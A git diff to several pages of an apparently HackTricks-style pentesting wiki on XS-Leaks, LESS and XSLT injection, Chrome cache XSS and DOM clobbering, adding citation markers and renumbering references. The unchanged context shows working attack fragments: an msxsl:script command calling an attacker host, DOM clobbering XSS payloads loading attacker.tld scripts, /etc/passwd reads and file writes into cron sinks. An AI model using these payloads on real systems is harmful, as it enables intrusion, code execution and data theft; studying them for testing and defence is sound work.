@@ -156,7 +156,7 @@ function deBruijn(k, n, alphabet=ALPH){
return seq.map(i=>alphabet[i]).join('');
}
```
-- Idea in practice: set multiple cookies whose values are prefix + deBruijn(k,n). Only when the tested prefix is correct does the server take the heavy path (e.g., extra redirect reflecting the long cookie or URL), which, combined with the cookie bloat, crosses limits and flips onerror. See a LA CTF 2024 public solver using this approach.
+- Idea in practice: set multiple cookies whose values are prefix + deBruijn(k,n). Only when the tested prefix is correct does the server take the heavy path (e.g., extra redirect reflecting the long cookie or URL), which, combined with the cookie bloat, crosses limits and flips onerror. See a LA CTF 2024 public solver using this approach.<sup>[[3]](#references)</sup>
Tips to build the oracle
- Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix.
@@ -166,10 +166,10 @@ Tips to build the oracle
- Alternate subresources: if `<script>` is filtered, try `<link rel=stylesheet>` or `<img>`. The onload/onerror boolean is the oracle; content never needs to be parsed.
Common header/URL limits (useful thresholds)
-- Reverse proxies/CDNs and servers enforce different caps. As of October 2025, Cloudflare documents 128 KB total for request headers (and 16 KB URL) on the edge, so you may need more/larger cookies when targets sit behind it. Other stacks (e.g., Apache via LimitRequestFieldSize) are often closer to ~8 KB per header line and will hit errors earlier. Adjust bomb size accordingly (see [Cloudflare’s documented limit](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)).
+- Reverse proxies/CDNs and servers enforce different caps. As of October 2025, Cloudflare documents 128 KB total for request headers (and 16 KB URL) on the edge, so you may need more/larger cookies when targets sit behind it. Other stacks (e.g., Apache via LimitRequestFieldSize) are often closer to ~8 KB per header line and will hit errors earlier. Adjust bomb size accordingly (see [Cloudflare’s documented limit](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)).<sup>[[4]](#references)</sup>
Browser hardening watchlist (2025+)
-- Firefox 139/ESR 128.11 (May 2025) tightened script tag load/error accounting for cross-origin resources (CVE-2025-5266). On patched clients the `onerror` signal for certain redirected responses is suppressed, so diversify the oracle (parallel `<link rel=stylesheet>`, `<img>`, or `fetch` with mismatched MIME) and fingerprint the victim UA before assuming the boolean still fires.
+- Firefox 139/ESR 128.11 (May 2025) tightened script tag load/error accounting for cross-origin resources (CVE-2025-5266). On patched clients the `onerror` signal for certain redirected responses is suppressed, so diversify the oracle (parallel `<link rel=stylesheet>`, `<img>`, or `fetch` with mismatched MIME) and fingerprint the victim UA before assuming the boolean still fires.<sup>[[6]](#references)</sup>
- Expect enterprise Chromium builds with Tracking Protection or Fetch Metadata policies to intermittently strip cookies or rewrite redirects. Detect these cases by probing a short endpoint first; when it fails, automatically pivot to running the entire attack inside the popup and relaying bits through `postMessage`/`BroadcastChannel`.
Related XS-Search tricks
@@ -180,15 +180,16 @@ url-max-length-client-side.md
{{#endref}}
Notes
-- This class of attacks is discussed broadly as “Error Events” XS-Leaks. The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
+- This class of attacks is discussed broadly as “Error Events” XS-Leaks.<sup>[[1]](#references)</sup> The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
## References
-- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
-- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
-- LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle: https://gist.github.com/arkark/5787676037003362131f30ca7c753627
-- Cloudflare edge limits (URLs 16 KB, request headers 128 KB): https://developers.cloudflare.com/fundamentals/reference/connection-limits/
-- Chrome Tracking Protection rollout details: https://blog.google/products/chrome/privacy-sandbox-tracking-protection/
-- Mozilla MFSA 2025-44 (CVE-2025-5266) tightening script tag onerror behavior: https://www.mozilla.org/en-US/security/advisories/mfsa2025-44/
+
+- [1] [XS-Leaks: Error Events (onerror/onload as an oracle)](https://xsleaks.dev/docs/attacks/error-events/)
+- [2] [MDN: 431 Request Header Fields Too Large (common with many cookies)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431)
+- [3] [LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle](https://gist.github.com/arkark/5787676037003362131f30ca7c753627)
+- [4] [Cloudflare edge limits (URLs 16 KB, request headers 128 KB)](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)
+- [5] [Chrome Tracking Protection rollout details](https://blog.google/products/chrome/privacy-sandbox-tracking-protection/)
+- [6] [Mozilla MFSA 2025-44 (CVE-2025-5266) tightening script tag onerror behavior](https://www.mozilla.org/en-US/security/advisories/mfsa2025-44/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/css-injection/less-code-injection.md b/src/pentesting-web/xs-search/css-injection/less-code-injection.md
index 6d338df2b68..8fadd266394 100644
--- a/src/pentesting-web/xs-search/css-injection/less-code-injection.md
+++ b/src/pentesting-web/xs-search/css-injection/less-code-injection.md
@@ -9,7 +9,7 @@ When an application concatenates **user-controlled input** into a string that is
* Local files via the `file://` protocol (information disclosure / Local File Inclusion).
* Remote resources on internal networks or cloud metadata services (SSRF).
-This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
+This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).<sup>[[1]](#references)</sup>
### Exploitation
@@ -18,7 +18,7 @@ This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.
* `;` – terminates the previous declaration.
* `}` – closes the previous block (if required).
3. Use `@import (inline) '<URL>';` to read arbitrary resources.
-4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.
+4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.<sup>[[1]](#references)</sup>
#### Local File Read
@@ -57,9 +57,9 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
-### References
+## References
-* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
-* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
-* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
+- [1] [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
+- [2] [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
+- [3] [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/javascript-execution-xs-leak.md b/src/pentesting-web/xs-search/javascript-execution-xs-leak.md
index 01ff318a5cf..c5aa713c544 100644
--- a/src/pentesting-web/xs-search/javascript-execution-xs-leak.md
+++ b/src/pentesting-web/xs-search/javascript-execution-xs-leak.md
@@ -154,7 +154,7 @@ Do **not** switch to `type="module"` for this technique:
### MIME type and `nosniff` decide whether the payload executes
-Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type.
+Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type.<sup>[[2]](#references)</sup>
That means this oracle often depends on:
@@ -175,7 +175,7 @@ That is still a useful oracle, but the signal is now **callback vs no callback**
### CSP can kill the attacker-controlled branch
-Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:
+Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:<sup>[[2]](#references)</sup>
- `script-src 'none'` can force attackers to pivot away from a direct execution oracle
- CSP/SRI/CSP-report interactions can still create **other** leak oracles, but those belong to different pages/techniques
@@ -220,7 +220,7 @@ If the positive branch does not reflect that payload, the callback becomes the o
### Combining with event-based oracles
-If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:
+If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:<sup>[[1]](#references)</sup>
- callback fired
- `onload`
@@ -242,7 +242,7 @@ Related pages:
## References
-- [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
-- [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
+- [1] [Error Events | XS-Leaks Wiki](https://xsleaks.dev/docs/attacks/error-events/)
+- [2] [justCTF 2022 - Baby XSLeak Write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/performance.now-example.md b/src/pentesting-web/xs-search/performance.now-example.md
index cf22c708275..988bf0d0f49 100644
--- a/src/pentesting-web/xs-search/performance.now-example.md
+++ b/src/pentesting-web/xs-search/performance.now-example.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-**Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
+**Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**<sup>[[1]](#references)</sup>
-This is a **same-site `postMessage` XS-Search** oracle: the attacker controls a trusted `.jsapi.tech` subdomain, enables a hidden search gadget via **DOM clobbering**, and then measures how long the target page keeps the observable event loop busy while processing a candidate prefix.
+This is a **same-site `postMessage` XS-Search** oracle: the attacker controls a trusted `.jsapi.tech` subdomain, enables a hidden search gadget via **DOM clobbering**, and then measures how long the target page keeps the observable event loop busy while processing a candidate prefix.<sup>[[1]](#references)</sup>
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
@@ -68,12 +68,12 @@ document.addEventListener("DOMContentLoaded", main)
- **Calibrate a threshold first** with several known-hit and known-miss probes, then classify each candidate using the median/average instead of a single run.
- **Reset state between probes** whenever the target accumulates DOM (for example, when highlights are appended but never cleared). Recreating the iframe per guess is slower but usually more stable.
- **Cache-bust repeated requests** if the target or browser can reuse previous results; otherwise the timing gap tends to collapse after the first few probes.
-- This exact **busy event-loop** oracle is easiest when attacker and target stay **same-site / same-process enough** to share an observable thread. On modern deployments, off-site iframes or subresource loads often lose victim cookies because of `SameSite=Lax/Strict`, so the cross-site version frequently needs a **same-site foothold** or a **top-level navigation / popup** variant instead.
+- This exact **busy event-loop** oracle is easiest when attacker and target stay **same-site / same-process enough** to share an observable thread. On modern deployments, off-site iframes or subresource loads often lose victim cookies because of `SameSite=Lax/Strict`, so the cross-site version frequently needs a **same-site foothold** or a **top-level navigation / popup** variant instead.<sup>[[2]](#references)</sup>
- If the signal is too noisy on a remote headless bot, force a **heavier positive branch** or pivot to related primitives such as [performance.now + Force heavy task](performance.now-+-force-heavy-task.md) or [Event Loop Blocking + Lazy images](event-loop-blocking-+-lazy-images.md).
## PerformanceLongTaskTiming variant
-The original intended solve used a **long-task** oracle instead of comparing raw deltas. This is useful when the positive branch reliably blocks the UI thread for `50ms+`:
+The original intended solve used a **long-task** oracle instead of comparing raw deltas.<sup>[[1]](#references)</sup> This is useful when the positive branch reliably blocks the UI thread for `50ms+`:
```javascript
const longTasks = []
@@ -97,7 +97,7 @@ This is cleaner than hand-picked thresholds, but it only sees **tasks of at leas
## References
-- [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
-- [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
+- [1] [niteCTF 2022 – js-api XS-Search writeup](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
+- [2] [From XS-Leaks to SS-Leaks Using object](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/url-max-length-client-side.md b/src/pentesting-web/xs-search/url-max-length-client-side.md
index 1b4697e6593..228c558c292 100644
--- a/src/pentesting-web/xs-search/url-max-length-client-side.md
+++ b/src/pentesting-web/xs-search/url-max-length-client-side.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
+Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)<sup>[[1]](#references)</sup>
```html
<html>
@@ -72,6 +72,10 @@ if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
+## References
+
+- [1] [HackTM CTF Qualifiers 2023 - Secrets (Chrome's 2MB URL limit) - zeyu2001](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
index 32cc40b86a8..8bcff23f8d3 100644
--- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
+++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
@@ -305,7 +305,7 @@ On **libxslt**, `document()` is useful for SSRF and for reading **other XML docu
- `document('/path/to/file.xml')` may work if the target file is valid XML.
- `document('/etc/passwd')` commonly errors because the file is not XML.
-This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.
+This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.<sup>[[4]](#references)</sup>
### Parser asymmetry: XML hardened, XSLT still dangerous
@@ -318,7 +318,7 @@ That pattern usually means:
So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result.
-With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.
+With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.<sup>[[7]](#references)</sup>
### **Internal (PHP-function)**
@@ -379,7 +379,7 @@ With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowi
### **libxslt / EXSLT `exsl:document`**
-If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.
+If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.<sup>[[4]](#references)[[6]](#references)</sup>
```xml
<?xml version="1.0" encoding="UTF-8"?>
@@ -401,7 +401,7 @@ Practical workflow:
- First write a marker into a **web-served path** to confirm the primitive.
- Then write into an **execution sink** already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input.
-If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.
+If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.<sup>[[4]](#references)</sup>
Other ways to write files in the PDF
@@ -475,7 +475,7 @@ xmlns:rt="java:java.lang.Runtime">
</xsl:stylesheet>
```
-This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.
+This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.<sup>[[8]](#references)</sup>
#### **.NET `msxsl:script`**
@@ -492,7 +492,7 @@ public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker
</xsl:stylesheet>
```
-This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.
+This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.<sup>[[9]](#references)</sup>
### **More Languages**
@@ -531,16 +531,16 @@ version="1.0">
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
-## **References**
-
-- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
-- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
-- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
-- [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
-- [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
-- [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
-- [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)
-- [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html)
-- [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script)
+## References
+
+- [1] [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
+- [2] [Abusing XSLT for practical attacks - Arnaboldi - IOActive](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
+- [3] [Abusing XSLT for practical attacks - Arnaboldi - Blackhat 2015](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
+- [4] [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
+- [5] [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
+- [6] [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
+- [7] [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)
+- [8] [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html)
+- [9] [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
index 41bf67cddc1..641e00ddaa3 100644
--- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
+++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
@@ -99,13 +99,13 @@ For more info about what DOM Clobbering is check:
dom-clobbering.md
{{#endref}}
-If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.
+If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.<sup>[[1]](#references)</sup>
-For an example of this check the reference link.
+For an example of this check the reference link.<sup>[[1]](#references)</sup>
## References
-- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
+- [1] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
index 4813b321335..17d76438989 100644
--- a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
@@ -4,7 +4,7 @@
This is a **browser-local cache abuse** technique in Chrome: you first make the victim cache attacker-influenced content in their own browser, and later force a **history navigation** that restores the bytes from **disk cache** in a more dangerous context. This is **not** the same as CDN/server-side cache poisoning; for shared-cache bugs check [Cache Poisoning and Cache Deception](../cache-deception/README.md).
-More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
+More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).<sup>[[1]](#references)</sup>
The technique revolves around the interaction of two cache types:
@@ -24,7 +24,7 @@ For history navigations, **bfcache wins if available**. Therefore, a successful
The classic trick is to keep a live `window.opener` relationship using `window.open()`. In Chrome/Chromium this shows up as the **`related-active-contents`** / `RelatedActiveContentsExist` reason, which prevents the page from being restored from bfcache and makes Chrome fall back to disk cache instead.
-Recent research also showed a second practical option: **evict the old entry from bfcache** by navigating through enough additional documents, while leaving the older HTTP response available in disk cache. This is useful when you need the **old cached body** but still want a **fresh execution context** after going back.
+Recent research also showed a second practical option: **evict the old entry from bfcache** by navigating through enough additional documents, while leaving the older HTTP response available in disk cache. This is useful when you need the **old cached body** but still want a **fresh execution context** after going back.<sup>[[2]](#references)</sup>
### Reproducing the behavior
@@ -55,7 +55,7 @@ Good targets are APIs or debug endpoints that can be reached through one flow bu
- Do **not** assume `Cache-Control: no-store` disables bfcache anymore. Chrome is gradually allowing bfcache for some `no-store` pages when it decides this is safe, so you need to **verify the actual not-restored reason** instead of relying on headers alone.
- Newer Chrome versions also hardened HTTP cache partitioning for some **cross-site top-level navigations**. Older PoCs that depended on cross-site cache reuse may stop working unless you keep the whole chain in the same browsing context family (popup / iframe / same-site navigation) or adapt the priming step.
-- A recent offensive variant abused the same disk-cache fallback idea to **reuse a stale CSP nonce**: leak the nonce, change the injected payload, then force **bfcache eviction** so the browser loads the old HTML from disk cache but re-executes attacker-controlled content in the new flow.
+- A recent offensive variant abused the same disk-cache fallback idea to **reuse a stale CSP nonce**: leak the nonce, change the injected payload, then force **bfcache eviction** so the browser loads the old HTML from disk cache but re-executes attacker-controlled content in the new flow.<sup>[[2]](#references)</sup>
### Practical testing tips
@@ -67,7 +67,7 @@ For more details on bfcache and disk cache, see [web.dev on bfcache](https://web
## References
-- [SECCON CTF 2022 Quals: Author writeups - English](https://blog.arkark.dev/2022/11/18/seccon-en/)
-- [Nonce CSP bypass using Disk Cache](https://jorianwoltjer.com/blog/p/research/nonce-csp-bypass-using-disk-cache)
+- [1] [SECCON CTF 2022 Quals: Author writeups - English](https://blog.arkark.dev/2022/11/18/seccon-en/)
+- [2] [Nonce CSP bypass using Disk Cache](https://jorianwoltjer.com/blog/p/research/nonce-csp-bypass-using-disk-cache)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
index d47cae3e1bb..e80b4066754 100644
--- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
+++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
@@ -10,7 +10,7 @@ If you place the line `debugger;` inside a JS file, when the **browser** execute
### Overrides
-Browser overrides allows to have a local copy of the code that is going to be executed and execute that one instead of the one from the remote server.\
+Browser overrides allows to have a local copy of the code that is going to be executed and execute that one instead of the one from the remote server.<sup>[[1]](#references)</sup>\
You can **access the overrides** in "Dev Tools" --> "Sources" --> "Overrides".
You need to **create a local empty folder to be used to store the overrides**, so just create a new local folder and set is as override in that page.
@@ -25,7 +25,7 @@ This will **copy the JS file locally** and you will be able to **modify that cop
## References
-- [https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s](https://www.youtube.com/watch?v=BW_-RCo9lo8&t=1529s)
+- [1] [4 hackers, one XSS challenge! Solution to April '22 XSS Challenge](https://www.youtube.com/watch?v=BW_-RCo9lo8&t=1529s)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
index 6e0e8991648..41b510081ac 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
@@ -4,7 +4,7 @@
## **Basics**
-It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.
+It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.<sup>[[2]](#references)</sup>
```html
<form id="x"></form>
@@ -120,7 +120,7 @@ In a vulnerable code such as:
</script>
```
-This method exploits the script source to execute unwanted code.
+This method exploits the script source to execute unwanted code.<sup>[[6]](#references)</sup>
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
@@ -163,7 +163,7 @@ typeof(document.cookie)
## Writing after the element clobbered
-The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:
+The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute.<sup>[[1]](#references)</sup> Here's how it can be done:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
@@ -275,7 +275,7 @@ window.PixelAnalyticsConfig.enabled // <a name="enabled"> (truthy)
window.PixelAnalyticsConfig.scriptUrl // <a name="scriptUrl" href="https://attacker.tld/xss.js">
```
-This is powerful because the code often only checks **truthiness**, not types. When `script.src = config.scriptUrl` executes, the browser coerces the anchor element to a string, and anchors stringify to their `href`. Therefore a DOM clobbering primitive becomes a **remote script loader**.
+This is powerful because the code often only checks **truthiness**, not types. When `script.src = config.scriptUrl` executes, the browser coerces the anchor element to a string, and anchors stringify to their `href`. Therefore a DOM clobbering primitive becomes a **remote script loader**.<sup>[[3]](#references)</sup>
### Why this is frequently exploitable
@@ -292,16 +292,16 @@ If the HTML injection is only rendered inside the attacker's own storage bucket
1. **Store** the payload in another user's scope.
2. **Render** that same stored payload while authenticated as the victim/admin.
-This is especially relevant when the sink is only reached after loading user-specific content.
+This is especially relevant when the sink is only reached after loading user-specific content.<sup>[[3]](#references)</sup>
## References
-- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
-- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
-- [How I Chained Three Bugs to XSS an Intigriti CTF — IDOR + DOM Clobbering + DOMPurify 3.0.9 Bypass](https://prateekpulastya.medium.com/how-i-chained-three-bugs-to-xss-an-intigriti-ctf-idor-dom-clobbering-dompurify-3-0-9-bypass-25b74fc7afc7)
-- [DOMPurify repository / configuration examples](https://github.com/cure53/DOMPurify)
-- [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
-- [Bypassing CSP via DOM clobbering](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
+- [1] [Hijacking service workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
+- [2] [DOM clobbering (Web Security Academy)](https://portswigger.net/web-security/dom-based/dom-clobbering)
